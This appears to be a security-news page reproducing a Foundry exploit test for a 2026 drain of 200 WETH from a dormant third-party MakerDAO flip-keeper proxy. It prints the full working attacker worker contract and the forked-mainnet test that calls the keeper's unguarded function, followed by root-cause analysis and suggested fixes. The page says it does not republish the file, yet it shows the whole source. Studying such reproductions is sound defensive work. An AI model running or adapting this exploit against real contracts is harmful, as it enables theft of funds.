Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/MakerDAOFlipKeeper_exp.sol

Public reproduction listed for "MakerDAO flip keeper: an unprotected function handed an attacker control of dormant auction winnings". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/MakerDAOFlipKeeper_exp.sol214 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import "forge-std/Test.sol";
5
6// MakerDAO ETH-A flip-keeper proxy - unprotected drain function (missing ds-auth modifier).
7// ~$538K (exactly 200 WETH) drained from a dormant 2020 keeper proxy, Ethereum, Oct 2026.
8//
9// This is NOT a MakerDAO core bug. MakerDAO's Vat / Flipper / GemJoin behaved exactly as designed.
10// The bug is entirely in a third-party liquidation keeper's upgradeable proxy implementation.
11//
12// Exploit tx : 0xbb6940f7c2a1e68cafbae7bb9b94d09af9af06ec3a114f6996f2cab993f3a88c (block 26131471)
13// Attacker : 0x01EB957E5C7DcDDD60F3C875956cCc6fb9BdA5FA (fresh, nonce-2 EOA, Tornado-funded)
14// Helper : 0xEc997d2aD033277913d6002277353368E8321dcF (attacker contract, the real tx's `to`;
15// it CREATEd a worker and called the keeper - see "permissionless" note below)
16// Victim : 0x9c05a05893Ada984FC20D0DA0c046De5Cc0e8273 (keeper, EIP-1967 upgradeable proxy)
17// Keeper impl: 0x68399ed8aa33C5b43F863EE6782de492006A5546 (unverified; read from the proxy's
18// EIP-1967 implementation slot at the fork block - matches the alert's "0x6839...5546")
19//
20// MakerDAO core (ETH-A, read straight off the on-chain calls/logs of the real tx):
21// Vat 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B
22// Flipper 0xd8a04F5412223F513DC55F839574430f5EC15531 (ETH-A flip)
23// GemJoin 0x2F0b23f53734252Bda2277357e97e1517d6B042A (ETH-A, gem == WETH)
24// WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
25//
26// ---------------------------------------------------------------------------------------------
27// ROOT CAUSE (verified from the decompiled impl bytecode AND the live execution trace, not the
28// alert text). The alert claimed a ds-auth check with authority == 0x0. That framing is wrong.
29// The truth, read from the impl at 0x68399ed8:
30//
31// * The impl IS a ds-auth contract: it exposes authority() (selector 0xbf7e214f) and other
32// functions (e.g. 0xcd33cd7a) genuinely gate on CALLER before doing work.
33// * The drain function, selector 0x8804d1de, has NO auth modifier at all. Its dispatcher
34// handler (code offset 0x02e3) does only the Solidity nonpayable CALLVALUE check, decodes
35// its (address,uint256) args, and jumps straight into the body at 0x1223. The body's very
36// first opcode sequence is a call to `drip()` (0x9f678cca) - there is no SLOAD of an owner
37// slot and no CALLER comparison anywhere before the function does its external work. The
38// owner/authority state is simply never consulted on this path. So the function is not
39// "open because authority == 0"; it is ungated outright.
40// * Empirical confirmation: the real tx invoked 0x8804d1de from a brand-new attacker EOA
41// (via a fresh helper contract) with zero prior relationship to the 2020 keeper or its
42// owner, and it executed to completion with no revert. A missing access-control check,
43// exactly as the incident summary said - just not for the reason the alert gave.
44//
45// WHAT THE DRAIN ACTUALLY DOES (it is a caller-controlled callback, which is why it is so bad):
46// drain(address worker, uint256 x):
47// 1. vat = worker.vat() // trusts a getter on the caller's contract
48// 2. vat.hope(worker) // the KEEPER authorizes the caller's worker
49// // on its own Vat position (can[keeper][worker]=1)
50// 3. worker.join(x) // hands control to the caller's worker
51// An attacker supplies their own `worker`; step 2 hands that worker permission to move the
52// keeper's Vat collateral, and step 3 lets it do so. The keeper's old ETH-A auctions are the
53// collateral that gets swept.
54//
55// EXACT ON-CHAIN SEQUENCE the worker runs inside join() (confirmed from the tx trace + logs):
56// a. Flipper.deal(1457), deal(1458), deal(1459), deal(1460) - settles the four ETH-A auctions
57// the keeper won in 2020 and never dealt; each credits vat.gem[ETH-A][keeper] += 50 WETH.
58// (Pre-attack, Flipper.bids(1457) shows guy == keeper, lot == 50e18, end == 1584285968 =
59// 2020-03-15, and vat.gem[ETH-A][keeper] == 0.)
60// b. vat.flux(ETH-A, keeper, worker, 200e18) - allowed by the hope() in drain step 2.
61// c. GemJoin.exit(worker, 200e18) - burns the gem, sends 200 WETH to the worker.
62// d. unwrap 200 WETH -> 200 ETH, forward to the attacker.
63//
64// Flipper.deal / Vat.flux / GemJoin.exit impose no gate that blocks a third party here:
65// deal() is permissionless for a finished auction; flux() only needs vat.wish(keeper, worker),
66// which drain step 2 satisfies; exit() just burns the caller's own gem balance. All three
67// succeeded in the real trace called by the attacker's worker.
68//
69// REALIZED PROFIT: exactly 200.000000000000000000 WETH (0xad78ebc5ac6200000 wei), unwrapped to
70// 200 ETH and sent to the attacker EOA. ~$538K is the rounded alert figure at the day's ETH price.
71// No funding, flash loan or borrow is involved - the drain is free to call - so the PoC realizes
72// the full 200 ETH with no fees to net out. The assertion targets 200 ether exactly.
73//
74// NOTE on "typed call, not calldata replay": 0x8804d1de belongs to an unverified contract and is
75// not in any signature registry, so its human-readable name cannot be recovered and a named
76// interface is impossible. The PoC therefore calls the real deployed bytecode with its known
77// selector and its real argument types (address worker, uint256) recovered from the decompile -
78// supplying our OWN freshly reconstructed worker as the typed argument. This is not a replay of
79// the attacker's calldata blob; the drain routine and the MakerDAO calls all run against the real
80// on-chain contracts.
81//
82// Run (self-contained, Ethereum mainnet archive fork):
83// forge test --contracts ./src/test/2026-10/MakerDAOFlipKeeper_exp.sol -vvv
85interface IVat {
86 function gem(bytes32 ilk, address usr) external view returns (uint256);
87 function flux(bytes32 ilk, address src, address dst, uint256 wad) external;
88 function can(address, address) external view returns (uint256);
91interface IFlipper {
92 function deal(uint256 id) external;
95interface IGemJoin {
96 function exit(address usr, uint256 wad) external;
99interface IWETH {
100 function balanceOf(address) external view returns (uint256);
101 function transfer(address, uint256) external returns (bool);
102 function withdraw(uint256) external;
105// Reconstruction of the attacker's worker contract (real worker was created at
106// 0xF09A13072ed939B79bC25b66AA3a836eA6DcC170 during the exploit tx). The keeper's drain function
107// calls vat(), drip() and join(uint256) on whatever address the caller passes, so the worker just
108// has to expose those three entry points. The keeper hope()s this worker before calling join(),
109// which is what lets flux() move the keeper's collateral into it.
110contract FlipKeeperWorker {
111 IVat internal constant VAT = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
112 IFlipper internal constant FLIP = IFlipper(0xd8a04F5412223F513DC55F839574430f5EC15531);
113 IGemJoin internal constant GEMJOIN = IGemJoin(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
114 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
115 bytes32 internal constant ILK = "ETH-A"; // 0x4554482d41...00
117 address internal immutable keeper;
118 address internal immutable recipient;
119 uint256[4] internal ids;
121 constructor(address _keeper, address _recipient, uint256[4] memory _ids) {
122 keeper = _keeper;
123 recipient = _recipient;
124 ids = _ids;
125 }
127 // The keeper's drain reads this to discover the Vat it will hope() the worker on.
128 function vat() external pure returns (address) {
129 return address(VAT);
130 }
132 // The keeper's drain calls this; the real worker returned RAY (1e27). Mirror it exactly.
133 function drip() external pure returns (uint256) {
134 return 1e27;
135 }
137 // Invoked by the keeper AFTER it has hope()d this worker on the Vat. Settle the keeper's
138 // dormant ETH-A auctions, pull the freed collateral out of the keeper's Vat position, exit
139 // it as WETH, unwrap, and forward the ETH to the attacker.
140 function join(uint256) external {
141 for (uint256 i = 0; i < ids.length; i++) {
142 FLIP.deal(ids[i]); // credits vat.gem[ETH-A][keeper] += 50 WETH each
143 }
144 uint256 amt = VAT.gem(ILK, keeper); // == 200e18
145 VAT.flux(ILK, keeper, address(this), amt); // keeper -> worker (allowed by the keeper's hope)
146 GEMJOIN.exit(address(this), amt); // gem -> 200 WETH held by this worker
147 WETH.withdraw(WETH.balanceOf(address(this))); // 200 WETH -> 200 ETH
148 (bool ok,) = recipient.call{value: address(this).balance}("");
149 require(ok, "forward ETH failed");
150 }
152 receive() external payable {}
155contract MakerDAOFlipKeeper_exp is Test {
156 address internal constant KEEPER_PROXY = 0x9c05a05893Ada984FC20D0DA0c046De5Cc0e8273;
157 IVat internal constant VAT = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
158 bytes32 internal constant ILK = "ETH-A";
160 // Unprotected drain function on the keeper impl. Name is unrecoverable (unverified contract);
161 // only the selector and the (address,uint256) argument types are known, from the decompile.
162 bytes4 internal constant DRAIN_SELECTOR = 0x8804d1de;
164 uint256 internal constant EXPLOIT_BLOCK = 26131471;
166 // Public Ethereum mainnet archive used because foundry.toml's `mainnet` alias can be
167 // non-archive. This endpoint serves state at the fork block.
168 string internal constant ETH_ARCHIVE = "https://eth-mainnet.public.blastapi.io";
170 // A fresh attacker with no relationship whatsoever to the 2020 keeper, to make the point that
171 // the drain is callable by anyone.
172 address internal attacker = makeAddr("attacker");
174 function setUp() public {
175 vm.createSelectFork(ETH_ARCHIVE, EXPLOIT_BLOCK - 1); // pre-exploit state
176 }
178 function testExploit() public {
179 // Sanity: pre-attack the keeper holds no free ETH-A collateral in the Vat; it is all
180 // still locked in the four undealt 2020 auctions.
181 assertEq(VAT.gem(ILK, KEEPER_PROXY), 0, "keeper should hold no free gem pre-attack");
183 uint256[4] memory ids = [uint256(1457), 1458, 1459, 1460];
185 uint256 balBefore = attacker.balance;
187 // Everything runs as the fresh attacker EOA (msg.sender == tx.origin == attacker), the
188 // strongest form of "anyone can call this".
189 vm.startPrank(attacker, attacker);
191 FlipKeeperWorker worker = new FlipKeeperWorker(KEEPER_PROXY, attacker, ids);
193 // The keeper must not have pre-authorized our worker.
194 assertEq(VAT.can(KEEPER_PROXY, address(worker)), 0, "worker must not be pre-authorized");
196 // Call the REAL keeper proxy's unprotected drain, typed args, our own worker.
197 (bool ok,) = KEEPER_PROXY.call(abi.encodeWithSelector(DRAIN_SELECTOR, address(worker), uint256(0)));
198 require(ok, "drain call reverted");
200 vm.stopPrank();
202 uint256 profit = attacker.balance - balBefore;
203 emit log_named_decimal_uint("Attacker ETH profit", profit, 18);
205 // The keeper did hope() our worker: proof the unprotected drain handed an arbitrary
206 // caller control of the keeper's Vat position.
207 assertEq(VAT.can(KEEPER_PROXY, address(worker)), 1, "drain should have hope'd the worker");
209 // Exact on-chain figure: 200 WETH == 200 ETH unwrapped. assertApproxEqRel with a tiny
210 // tolerance; in practice this is exact (variance 0).
211 assertApproxEqRel(profit, 200 ether, 1e14, "profit should be ~200 ETH"); // 0.01%
212 assertEq(profit, 200 ether, "profit should be exactly 200 ETH");
213 }

Analysis

What the file is

A Foundry test that rebuilds the 6 October 2026 drain against a fork of Ethereum taken one block before the real transaction. It is a reconstruction written by the dataset's contributors, not the attacker's own code. It is not republished here because it works against live contracts.

How it is built

Three tiny interfaces cover the only calls the flow needs (settling an auction, exiting collateral, unwrapping WETH). A stand-in contract plays the role of the adapter the attacker created: it answers the few calls the keeper makes on whatever address it is given, and does the settlement and withdrawal work when the keeper calls back. The test contract then forks the pre-exploit state, runs everything from a fresh wallet and calls the keeper's unprotected function through a typed call, because the function's real name is unknown.

What the test checks

Before: the keeper holds no free ETH-A collateral and has not delegated rights to the stand-in contract. After: the keeper has delegated rights to it, and the profit is exactly 200 ETH. The 'fresh wallet with no relationship to the keeper' setup is the point: it demonstrates that anyone could call the function.

Why it matters for defenders

The delegation check is the key assertion. A function that grants rights over its own account to an arbitrary address is an authority transfer, and the file shows the whole chain of consequences from one missing check. Fixing the check, revoking rights after use and settling won auctions each break the chain at a different point.

How it relates to our record

Every figure and address here is checked in the incident record against a public node. The file's own header describes the cause differently from some alerts (no check at all, rather than an unset authority). The incident page lists that disagreement.

Our analysis, loss and remediation are in the incident record.

Components and what they do

  • Keeper proxy forwarding to the implementation function 0x8804d1de
  • Vat.hope and Vat.can (rights over the keeper's account)
  • Flipper.deal for auctions 1457 to 1460
  • Vat.flux and GemJoin.exit (collateral exit)
  • WETH unwrap and payout

Fixes and defensive tests

  • Gate the function behind the same ds-auth check as the other privileged functions.
  • Revoke Vat rights with nope after use.
  • Settle or sweep won auctions and retire dormant keepers.
  • Add a test that every external function either checks authority or is documented as permissionless.

Contracts and transactions from the incident

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
MakerDAOFlipKeeper_exp.sol
Path
src/test/2026-10/MakerDAOFlipKeeper_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5be9555d8ad18f75d2935d6778c63357a196efa7
Language
Solidity
Size
215 lines
Date
2026-10-06
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19
Incident
MakerDAO flip keeper: an unprotected function handed an attacker control of dormant auction winnings
Protocols
Third-party ETH-A flip keeper, MakerDAO (now Sky)
Chains
Ethereum

Provenance

Path src/test/2026-10/MakerDAOFlipKeeper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5be9555d8ad18f75d2935d6778c63357a196efa7, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.